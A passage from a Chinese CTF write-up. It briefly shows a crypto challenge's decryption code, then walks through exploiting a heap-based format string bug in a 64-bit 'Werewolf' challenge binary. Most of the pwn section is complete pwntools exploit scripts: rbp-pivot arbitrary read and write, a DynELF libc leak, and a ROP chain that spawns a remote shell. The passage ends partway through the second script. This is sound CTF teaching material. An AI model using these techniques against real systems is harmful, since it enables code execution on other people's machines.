[1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0],
[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1],
[0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
[1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1],
[0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
[0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1]
]
DES.setMode(ECB)
correct=[
'\x4d',
'\x6a',
'\x20',
'\x9b',
'\xf3',
'\x3e',
'\x6b',
'\x7b',
'\x9e',
'\x80',
'\xc0',
'\x8c',
'\x21',
'\x5d',
'\x8a',
'\xe9',
'\xf7',
'\x9d',
'\x82',
'\xc5',
'\x28',
'\xaf',
'\x63',
'\x1c',
'\xcd',
'\xc1',
'\xf6',
'\xba',
'\xa0',
'\xd3',
'\x70',
'\x8d',
]
#DES.encrypt(code)==correct
code = DES.encrypt(correct)
from Crypto.Cipher import Blowfish
import base64
def decrypt(deskey):
key= deskey+code
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
print cipher.decrypt(base64.b64decode("fxd+VFDXF6lksUAwcB1CMco6fnKqrQcO5nxS/hv3FtN7ngETu95BkjDn/ar+KD+RbmTHximw03g="))
解密成功
通过输出可以明显看出,kn还原出来的key是CodinGay,最后flag
flag{R1p0s4Riposa_****************_che_ha1_cr34t0}
pwn
确定程序漏洞
看下保护
老规矩,先看下程序开启的保护和试着运行一下
[图片上传失败...(image-118664-1514132435256)]
ida看看
这里我重命名了某些函数名字,主要看show函数
主函数
经典的增删改查4个功能,这里我们需要注意一下,如果输入5,退出时是exit的,这个地方很坑爹,等会后面会提到
[图片上传失败...(image-8fae29-1514132435256)]
add函数
这里要注意,我们的输入都是放到堆上的,所以等会进行格式化字符串攻击的时候就会麻烦点
[图片上传失败...(image-29f3b8-1514132435256)]
show函数
看到第二个printf,他的参数指向的就是我们add的时候输入的role的action,是在堆上
[图片上传失败...(image-b781ce-1514132435256)]
尝试一:劫持栈帧到堆上
以前做过的格式化字符串漏洞的pwn题都是在栈上的,第一次做在堆上的格式化字符串,首先想到的是ctf wiki上有个堆的格式化字符串漏洞的例子
https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_example.html#id23
这里,他就是通过stack privot
,修改ebp把栈劫持到堆上,我按他这样尝试了很久,发现有几个问题
- 他的是32位,我们题目给的是64位
- 他的可以直接从栈上泄漏堆的地址,我们无从泄漏!!!我想了很久也没找到办法,当然后面想了个骚思路通过改进后,可以任意地址读写,不过那是后话了
- 他的从菜单输入5后,程序是正常return退出的,我们的直接exit了,对,就是上面ida主函数看到的那个,直接exit,这也是致命的一点,导致不能把栈劫持到堆上
尝试二:在栈上布置跳板
不能劫持栈到堆后,思想一度jiang化,n个小时思考后,终于想到一个骚思路
用rbp做跳板
我们知道,格式化符%s
,%n
都是取的地址,即把这个数当成一个指针来操作的
那么既然我们可以修改栈上的rbp值,那么我们可以把rbp的值修改为一个指针,然后以rbp做跳板,去实现任意地址读写
通过gdb调试,我们发现这里rbp是在格式化字符串的第14个偏移,同时第12个偏移上的值是一个指向14偏移处的指针,那么我们这里就通过12偏移的指针修改14偏移处的rbp,将他指向我们想要的地址,考虑到64位用8位bit代表一个地址,用%lln写8字节肯定不行,会卡死,用%n写4个字节又太慢,这里我们应该选择用%hn和%hhn,为了减少写的次数,我们就只改变rbp的低位,使他指向栈上我们想要的地方,这里我选择在rbp的栈下方来写入我们的数据
改变rbp的低位,我们首先得泄漏rbp的值
这里Add函数和show函数还有等会出现的edit函数,就是实现了ELF的菜单里那几个功能而已,有疑惑的可以看最后贴出来的完整源码,文章中只贴出部分源码
# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))
实现栈上任意写
我们每次用%hn写入两字节。这里每次写入两字节后,再改变rbp的值使其减2,指向下两个字节。参数offset_to_rbp就是相对于rbp的偏移量,addr就是希望写入的内容,是一个整型值
def write_stack(addr, offset_to_rbp):
# write addr in rbp + (offset_to_rbp * 8)
addr_1_2_bit = int(hex(addr)[2:].zfill(16)[12:16], 16)
addr_3_4_bit = int(hex(addr)[2:].zfill(16)[8:12], 16)
addr_5_6_bit = int(hex(addr)[2:].zfill(16)[4:8], 16)
addr_7_8_bit = int(hex(addr)[2:].zfill(16)[0:4], 16)
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
if addr_7_8_bit:
fmt_2 = '%' + str(addr_7_8_bit) + 'x%14$hn<<>>'
else:
fmt_2 = '%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
# log.success('write %s 7th and 8th bit success' % hex(addr))
fmt_3 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
if addr_5_6_bit:
fmt_4 = '%' + str(addr_5_6_bit) + 'x%14$hn<<>>'
else:
fmt_4 = '%14$hn<<>>'
Edit(0, fmt_3)
show(0, '<<>>')
Edit(0, fmt_4)
show(0, '<<>>')
# log.success('write %s 5th and 6th bit success' % hex(addr))
fmt_5 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
if addr_3_4_bit:
fmt_6 = '%' + str(addr_3_4_bit) + 'x%14$hn<<>>'
else:
fmt_6 = '%14$hn<<>>'
Edit(0, fmt_5)
show(0, '<<>>')
Edit(0, fmt_6)
show(0, '<<>>')
# log.success('write %s 3th and 4th bit success' % hex(addr))
fmt_7 = '%' + str(low_bit + (offset_to_rbp * 8)) + 'x%12$hn<<>>'
if addr_1_2_bit:
fmt_8 = '%' + str(addr_1_2_bit) + 'x%14$hn<<>>'
else:
fmt_8 = '%14$hn<<>>'
Edit(0, fmt_7)
show(0, '<<>>')
Edit(0, fmt_8)
show(0, '<<>>')
# log.success('write %s 1th and 2th bit success' % hex(addr))
# log.success('write %s in offset %s to rbp success' % (hex(addr), str(offset_to_rbp)))
还有一个指的注意的地方是,开始我是从低位写到高位,老是失败,gdb一顿调试后,发现用%n,%hn,%hhn这些东西向我们rbp指向的地址写入对应一定字节后,会在后面再覆盖4个bit为2,用hex表示就是0x00000002,比如这里我往0x****15010+6的位置写入0x0000,也就是0x****15010位置的高2个bit, 他后面的8个hex(4bit)就变成了,0000 0002,也就是把0x400d70变成了0x20d70,这点我很困惑,从来没看到说用%hn等覆盖的时候还会往后面最追加一个4bit的2的说法,有知道为什么的大佬一定要告诉我
[图片上传失败...(image-fa6989-1514132435256)]
[图片上传失败...(image-a3a7ce-1514132435256)]
鉴于用%hn覆盖时会改变后面几位的问题,我们可以通过从高往低写的办法解决,就像上面代码一样
实现任意地址读取
这里我们实现一个leak函数,也是通过rbp做跳板,在栈上布置指针,然后通过%s打印指针指向的位置上的内容
def leak(leak_addr, offset_to_rbp=7):
write_stack(leak_addr, offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
leak_data = sh.recvuntil('<<>>').strip('<<>>')
while True:
if not len(leak_data) < 8:
break
leak_data = leak_data + '\x00'
write_stack(leak_addr + len(leak_data), offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
new_data = sh.recvuntil('<<>>').strip('<<>>')
leak_data = leak_data + new_data
leak_data = leak_data[:8]
log.success("[%s] -> [%s] = [%s]" %
(hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
# gdb.attach(sh, 'b *0x0400B1B')
return leak_data
用printf和puts函数来泄漏任意地址内容时,又一个致命缺点,遇到'\x00'
会截断,所以一般格式化字符串的题泄漏都是用write函数,但是这里got里面连write都没有怎么搞,所以这里我捣鼓了几小时,用遇到截断后再次读取下一位地址,知道满8字节为止,从而解决了这个问题
尝试三:泄漏libc
我们已经拥有了任意地址读写的能力,但是官方没给libc文件,下一步自然是想办法获取libc地址,从而得到system的地址,(这里在elf文件中找不到execve(“/bin/sh”,NULL,NULL)需要的gadget)
libc数据库(失败)
这里我们使用LibcSearcher,关于安装使用,可以看github
https://github.com/lieanu/LibcSearcher
然后栈上是有__libc_start_main_ret的,在第19偏移处,所以可以用这个来得到搜索libc
# get libc addr
Add(100, '<<>>%19$p')
show(0, '<<>>')
libc_start_main_ret = int(sh.recvuntil('\n').strip()[2:], 16)
log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret))
libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.success('get system addr: ' + hex(system_addr))
log.success('get binsh addr: ' + hex(binsh_addr))
用这个在“本地”确实可以拿到正确的system地址,因为我把我kali的/lib/x86_64-linux-gnu/libc.so.6
,通过elf文件add加入到他的数据库里面去了,当我本地成功拿到shell后,兴高采烈的去服务器拿shell时,怎么都不成功,思来想去,各种调试后,只能想到一个原因,服务器的libc文件不在数据库里面,而我们更新了最新的libc数据库也没有,然后我尝试读取got表函数的地址去找,多个函数地址一起找,都找不到正确的libc。这里我一时以为get shell姿势错了,于是先后尝试用rop来get shell,修改atoi函数的got来get shell等等,写了几种不同get shell的脚本,本地都能成功,服务器就是不行,浪费了我很多时间,真的想痛扁出题人一顿,既然LibcSearcher找不到对应的libc,那么给个libc不行么
[图片上传失败...(image-38c93d-1514132435256)]
DynELF
然后自然想到用pwntools的DynELF工具,这也是这题我认为最坑的地方,说多了都是泪
上面实现任意地址读取的leak函数就是在使用DynELF时写的,然后用pwntools的DynELF,我们就可以解决system的地址
# dynelf
dynelf = DynELF(leak, elf=ELF('./Werewolf'))
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))
然后就是最坑的地方,上面这样leak的话本地能成功,但是远程还是不行,原因是计时器时间到了,程序退出了,就是main函数开始这个东西
[图片上传失败...(image-e4cd3e-1514132435256)]
56s!!!你咋不给1s呢,这leak在本地leak都得半分钟,服务器不leak个几分钟leak不出来的,于是开始尝试如何减少leak的时间
%n & %hn & %hhn
开始尝试更换每次写入的字节数,看能不能减少每次leak的时间,最后我尝试了每次写入4字节,2字节,1字节,发现还是每次写2字节即%hn最快,但是他在56s的时间也只能泄漏可能3,4个左右的地址,然后程序就退出了
手工预测DynELF
对,我最后实在走投无路了,但是这题都肝了两天了,做不出来太可惜了,所以还是硬着头皮,通过观察DynELF的规律,预测他下一次要泄漏的地址和值,然后leak时直接返回,这样就可以节省很多时间了,然后我本地leak了一下,看了下DynELF一共leak了好几十个地址,我就
[图片上传失败...(image-fb0da1-1514132435256)]
然后头铁,用了几个小时边运行边写,一个一个存到python的字典里面,每次leak先判断,如果在的话就直接返回,写了几十个进dic后,终于拿到了正确的system地址,这部分代码写的比较乱,放到最后,感兴趣的可以看看,估计也不算预期解法
get shell
rop
刚开始我用LibcSearcher的时候,直接dump下system和binsh字符串的地址,然后找gadget找到一个pop rdi ,ret的gadget,所以我在栈上布置rop,在本地可以成功get shell,但是最后远程还是不行,就是因为LibcSearcher找不到正确的libc,system地址是错的,最后通过DynELF拿到正确的system地址,但是binsh字符串地址不能通过DynELF拿到,那么我们在栈上自己写,然后再搞个指针指向他就完事了
# make ROP : pop_rdi -> binsh -> system
# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)
# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)
# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))
# write pop_rdi addr low bits in rbp + (1 * 8)
# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')
sh.interactive()
修改GOT
这里可以通过修改atoi的got拿shell也是可以的,当然最后我是通过rop的方式拿的shell,这里就不贴出修改GOT的代码了
最后,上完整exp
远程服务器利用成功版,每次写2字节
[图片上传失败...(image-9a9272-1514132435256)]
from pwn import *
from LibcSearcher import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
debug = False
elf = ELF('./Werewolf')
pop_rdi_addr = 0x0000000000400dd3
if not debug:
sh = remote('106.75.72.91', 20000)
else:
sh = process('./Werewolf')
# gdb.attach(sh, 'b *0x0400B1B')
elf_dic = {
'0x400000': '\x7fELF\x02\x01\x01\x00',
'0x601e20': '\x01\x00\x00\x00\x00\x00\x00\x00',
'0x601e30': '\x0c\x00\x00\x00\x00\x00\x00\x00',
'0x601e40': '\r\x00\x00\x00\x00\x00\x00\x00',
'0x601e50': '\x19\x00\x00\x00\x00\x00\x00\x00',
'0x601e60': '\x1b\x00\x00\x00\x00\x00\x00\x00',
'0x601e70': '\x1a\x00\x00\x00\x00\x00\x00\x00',
'0x601e80': '\x1c\x00\x00\x00\x00\x00\x00\x00',
'0x601e90': '\xf5\xfe\xffo\x00\x00\x00\x00',
'0x601ea0': '\x05\x00\x00\x00\x00\x00\x00\x00',
'0x601eb0': '\x06\x00\x00\x00\x00\x00\x00\x00',
'0x601ec0': '\n\x00\x00\x00\x00\x00\x00\x00',
'0x601ed0': '\x0b\x00\x00\x00\x00\x00\x00\x00',
'0x601ee0': '\x15\x00\x00\x00\x00\x00\x00\x00',
'0x601ef0': '\x03\x00\x00\x00\x00\x00\x00\x00',
'0x601ef8': '\x00 `\x00\x00\x00\x00\x00',
}
def Add(len, action):
sh.recvuntil('5.Exit\n')
sh.sendline('1')
sh.recvuntil('size:\n')
sh.sendline(str(len))
sh.recvuntil('action:\n')
sh.sendline(action)
sh.recvuntil('role!\n')
def Edit(id, action):
sh.recvuntil('5.Exit\n')
sh.sendline('3')
sh.recvuntil('id\n')
sh.sendline(str(id))
sh.recvuntil('action\n')
sh.sendline(action)
sh.recvuntil('========')
def show(id, flag=None):
sh.recvuntil('5.Exit\n')
sh.sendline('2')
sh.recvuntil('id\n')
sh.sendline(str(id))
if flag:
sh.recvuntil(flag)
def write_stack(addr, offset_to_rbp):
# write addr in rbp + (offset_to_rbp * 8)
addr_1_2_bit = int(hex(addr)[2:].zfill(16)[12:16], 16)
addr_3_4_bit = int(hex(addr)[2:].zfill(16)[8:12], 16)
addr_5_6_bit = int(hex(addr)[2:].zfill(16)[4:8], 16)
addr_7_8_bit = int(hex(addr)[2:].zfill(16)[0:4], 16)
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
if addr_7_8_bit:
fmt_2 = '%' + str(addr_7_8_bit) + 'x%14$hn<<>>'
else:
fmt_2 = '%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
# log.success('write %s 7th and 8th bit success' % hex(addr))
fmt_3 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
if addr_5_6_bit:
fmt_4 = '%' + str(addr_5_6_bit) + 'x%14$hn<<>>'
else:
fmt_4 = '%14$hn<<>>'
Edit(0, fmt_3)
show(0, '<<>>')
Edit(0, fmt_4)
show(0, '<<>>')
# log.success('write %s 5th and 6th bit success' % hex(addr))
fmt_5 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
if addr_3_4_bit:
fmt_6 = '%' + str(addr_3_4_bit) + 'x%14$hn<<>>'
else:
fmt_6 = '%14$hn<<>>'
Edit(0, fmt_5)
show(0, '<<>>')
Edit(0, fmt_6)
show(0, '<<>>')
# log.success('write %s 3th and 4th bit success' % hex(addr))
fmt_7 = '%' + str(low_bit + (offset_to_rbp * 8)) + 'x%12$hn<<>>'
if addr_1_2_bit:
fmt_8 = '%' + str(addr_1_2_bit) + 'x%14$hn<<>>'
else:
fmt_8 = '%14$hn<<>>'
Edit(0, fmt_7)
show(0, '<<>>')
Edit(0, fmt_8)
show(0, '<<>>')
# log.success('write %s 1th and 2th bit success' % hex(addr))
# log.success('write %s in offset %s to rbp success' % (hex(addr), str(offset_to_rbp)))
def leak(leak_addr, offset_to_rbp=7):
if hex(leak_addr) in elf_dic:
print "done '%s' : %s," % (hex(leak_addr), repr(elf_dic[hex(leak_addr)]))
return elf_dic[hex(leak_addr)]
write_stack(leak_addr, offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
leak_data = sh.recvuntil('<<>>').strip('<<>>')
while True:
if not len(leak_data) < 8:
break
leak_data = leak_data + '\x00'
write_stack(leak_addr + len(leak_data), offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
new_data = sh.recvuntil('<<>>').strip('<<>>')
leak_data = leak_data + new_data
leak_data = leak_data[:8]
# log.success("[%s] -> [%s] = [%s]" % (hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
# gdb.attach(sh, 'b *0x0400B1B')
if leak_addr == 0x602008:
addr_0x602008 = int(leak_data[::-1].encode('hex'), 16)
tmp = addr_0x602008 + 0x20
elf_dic[hex(tmp)] = '\x00\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp - 0x18
elf_dic[hex(tmp)] = hex(tmp + 1416)[2:].zfill(16).decode('hex')[::-1]
elf_dic[hex(int(elf_dic[hex(tmp)][::-1].encode('hex'), 16))] = '\x00\x00\x00\x00\x00\x00\x00\x00'
tmp = int(elf_dic[hex(tmp)][::-1].encode('hex'), 16)
elf_dic[hex(tmp - 1400)] = hex(tmp + 8)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 1160)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 1160
elf_dic[hex(tmp)] = '`\x1e`\x00\x00\x00\x00\x00'
tmp = tmp + 1160 + 0x10
elf_dic[hex(tmp)] = hex(tmp - 12888)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 12888 + 0x8
elf_dic[hex(tmp)] = hex(tmp - 40)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 40
elf_dic[hex(tmp)] = '/lib/x86'
tmp = tmp + 8
elf_dic[hex(tmp)] = '_64-linu'
tmp = tmp + 8
elf_dic[hex(tmp)] = 'x-gnu/li'
tmp = tmp + 8
elf_dic[hex(tmp)] = 'bc.so.6\x00'
tmp = tmp + 8
elf_dic[hex(tmp)] = hex(tmp - 6218944)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 6218944
elf_dic[hex(tmp)] = '\x7fELF\x02\x01\x01\x03'
tmp = tmp + 6218944 + 0x10
elf_dic[hex(tmp)] = hex(tmp - 2271536)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 2271536
elf_dic[hex(tmp)] = '\x01\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0e\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0c\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x19\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x1b\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x04\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\xf5\xfe\xffo\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x05\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x06\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\n\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x0b\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x10
elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 0x8
elf_dic[hex(tmp)] = hex(tmp + 936)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 3947592
elf_dic[hex(tmp)] = '\x03\x00\x00\x00\x01\x00\x00\x00'
tmp = tmp + 3948536
elf_dic[hex(tmp)] = hex(tmp + 2270392)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 2270424
elf_dic[hex(tmp)] = hex(tmp + 12832)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 12864
elf_dic[hex(tmp)] = hex(tmp - 1464)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 6231456
elf_dic[hex(tmp)] = 'D\x00\x00\x00\x00\x00\x00\x00'
tmp = tmp + 3947144
elf_dic[hex(tmp)] = hex(tmp - 3946832)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 3877920)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp + 0x10
elf_dic[hex(tmp)] = hex(tmp - 3931816)[2:].zfill(16).decode('hex')[::-1]
tmp = tmp - 3946864
elf_dic[hex(tmp)] = '\xf3\x03\x00\x00\n\x00\x00\x00'
tmp = tmp + 0x8
elf_dic[hex(tmp)] = '\x00\x01\x00\x00\x0e\x00\x00\x00'
tmp = tmp + 4560
elf_dic[hex(tmp)] = 'G\x05\x00\x00I\x05\x00\x00'
tmp = tmp + 6904
elf_dic[hex(tmp)] = '\x8a\xe4\xee\x1c\x1b\x05\xa3\x96'
print "'%s' : %s," % (hex(leak_addr), repr(leak_data))
return leak_data
# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))
# dynelf
dynelf = DynELF(leak, elf=elf)
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))
# make ROP : pop_rdi -> binsh -> system
# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)
# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)
# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))
# write pop_rdi addr low bits in rbp + (1 * 8)
# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')
sh.interactive()
本地利用版本,每次写入1字节版
[图片上传失败...(image-ca2cdb-1514132435256)]
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
debug = True
elf = ELF('./Werewolf')
pop_rdi_addr = 0x0000000000400dd3
if not debug:
sh = remote('106.75.72.91', 20000)
else:
sh = process('./Werewolf')
# gdb.attach(sh, 'b *0x0400B1B')
def Add(len, action):
sh.recvuntil('5.Exit\n')
sh.sendline('1')
sh.recvuntil('size:\n')
sh.sendline(str(len))
sh.recvuntil('action:\n')
sh.sendline(action)
sh.recvuntil('role!\n')
def Edit(id, action):
sh.recvuntil('5.Exit\n')
sh.sendline('3')
sh.recvuntil('id\n')
sh.sendline(str(id))
sh.recvuntil('action\n')
sh.sendline(action)
sh.recvuntil('========')
def show(id, flag=None):
sh.recvuntil('5.Exit\n')
sh.sendline('2')
sh.recvuntil('id\n')
sh.sendline(str(id))
if flag:
sh.recvuntil(flag)
def write_stack(addr, offset_to_rbp):
# write addr in rbp + (offset_to_rbp * 8)
addr_1_bit = int(hex(addr)[2:].zfill(16)[14:16], 16)
addr_2_bit = int(hex(addr)[2:].zfill(16)[12:14], 16)
addr_3_bit = int(hex(addr)[2:].zfill(16)[10:12], 16)
addr_4_bit = int(hex(addr)[2:].zfill(16)[8:10], 16)
addr_5_bit = int(hex(addr)[2:].zfill(16)[6:8], 16)
addr_6_bit = int(hex(addr)[2:].zfill(16)[4:6], 16)
addr_7_bit = int(hex(addr)[2:].zfill(16)[2:4], 16)
addr_8_bit = int(hex(addr)[2:].zfill(16)[0:2], 16)
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 7) + 'x%12$hn<<>>'
if addr_8_bit:
fmt_2 = '%' + str(addr_8_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
if addr_7_bit:
fmt_2 = '%' + str(addr_7_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 5) + 'x%12$hn<<>>'
if addr_6_bit:
fmt_2 = '%' + str(addr_6_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
if addr_5_bit:
fmt_2 = '%' + str(addr_5_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 3) + 'x%12$hn<<>>'
if addr_4_bit:
fmt_2 = '%' + str(addr_4_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
if addr_3_bit:
fmt_2 = '%' + str(addr_3_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 1) + 'x%12$hn<<>>'
if addr_2_bit:
fmt_2 = '%' + str(addr_2_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 0) + 'x%12$hn<<>>'
if addr_1_bit:
fmt_2 = '%' + str(addr_1_bit) + 'x%14$hhn<<>>'
else:
fmt_2 = '%14$hhn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write %s in offset %s to rbp success' %
(hex(addr), str(offset_to_rbp)))
def leak(leak_addr, offset_to_rbp=7):
write_stack(leak_addr, offset_to_rbp)
